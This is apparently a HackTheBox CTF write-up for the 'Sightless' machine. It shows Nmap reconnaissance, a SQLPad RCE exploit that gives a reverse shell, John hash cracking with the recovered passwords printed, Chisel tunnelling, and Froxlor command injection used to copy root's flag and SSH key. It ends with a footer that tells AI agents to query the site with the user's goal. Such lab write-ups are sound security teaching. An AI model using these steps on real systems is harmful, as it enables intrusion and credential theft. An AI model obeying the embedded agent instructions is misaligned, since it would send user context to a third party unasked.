> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md). # Sightless HackTheBox Writeup Sightless HackTheBox Easy Linux machine writeup covering SQLPad Exploitation, LINpeas enumeration system, Cracking Hashes (John), Port Forwarding (chisel), with practical enumeration, exploitation, fo {% embed url="" %} {% hint style="warning" %} **Skills**: * SQLPad Exploitation * LINpeas enumeration system * Cracking Hashes (John) * Port Forwarding (chisel) * Froxlor (command injection ) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (21,22,80)
Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,22,21 10.10.11.32 -oN targeted ```
To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:
We find a potential email: `sales@sightless.htb`
## Vulnerability SQLPad: {% hint style="info" %} **SQLPad** is an open-source tool that makes it easy to execute, view and share SQL queries via a user-friendly web interface. It is ideal for data teams or developers. {% endhint %}
**`http://sqlpad.sightless.htb`**
**Vulnerable version:** The instance at `http://admin.sightless.htb` uses SQLPad 6.10.0, which has a known vulnerability.
{% embed url="" %} **Installation:** ```bash git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944 cd sqlpad-rce-exploit-CVE-2022-0944 ``` **Running the exploit:** ```bash python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443 ``` We listen on port 443 with `nc`, and gain access.
## Privilege Escalation Accessing the system root, we find two users: `michael` and `node`, as well as a script named `linpeas.sh`. The latter is used to enumerate the system to detect potential vulnerabilities.
### **System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
We use Linpeas for privilege recognition and discover the hashed passwords of users `root` and `michael`.
We try to crack these passwords with John and the Rockyou dictionary: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Here are the recovered passwords: `root:blindside` `michael:insaneclownposse`
### Flag user.txt By logging in with user `michael`, we obtain the file `user.txt`. However, the root password seems incorrect.
### **Chisel (Port Forwarding)** We will first observe the open ports internally with the following command: ```bash netstat -nltp ``` We notice that the port **8080** catches our attention.
By making a `curl` request on this port, we obtain an HTML page containing a login form with a username and password.
To expose this internal content to the outside, we will use the **Chisel** tool. We will transfer the Chisel binary to our machine using **Python** and **wget**: ```bash wget http://10.10.15.35:321/chisel python3 -m http.server 321 ```
Next, we listen to our attacking machine on port **8888**: ```bash chisel server -p 8888 -reverse ``` On the target machine, we run the Chisel script in client mode to connect to our attacking machine on port **8888**. We thus redirect the localhost of the victim's port **8080** to our port **8081**:
In this way, we externally exposed the service that was running internally on port **8080** (**Froxlor**).
`admin:ForlorfroxAdmin` {% hint style="info" %} Froxlor is a web hosting management control panel that allows users to easily manage their servers and hosting services. It provides a user-friendly interface for configuring and administering server resources, such as domains, databases, FTP accounts, and email services. {% endhint %} **Create a New PHP Version :** After logging in, go to the “PHP” section, then “PHP-FPM Versions” and create a new version. In the PHP-FPM restart command field, enter the following command: `cp /root/root.txt /tmp/root.txt`
Save the configuration then go to `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Disable PHP-FPM and save the changes, then re-enable it and save again. This will trigger the copy command to execute.
Here is the file, you must now give the rights:
To proceed, repeat the same process but replace the command with: ```bash chmod 644 /tmp/root.txt ``` ### Flag root : )
To connect, you just have to copy the `id_rsa` key (SSH from root) and repeat the procedure to restore the permissions: ```bash cp /root/.ssh/id_rsa /tmp/id_rsa ``` ```bash chmod 644 /tmp/root.txt ```
Then log in with the key via SSH: ```bash ssh -i id_rsa root@localhost ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.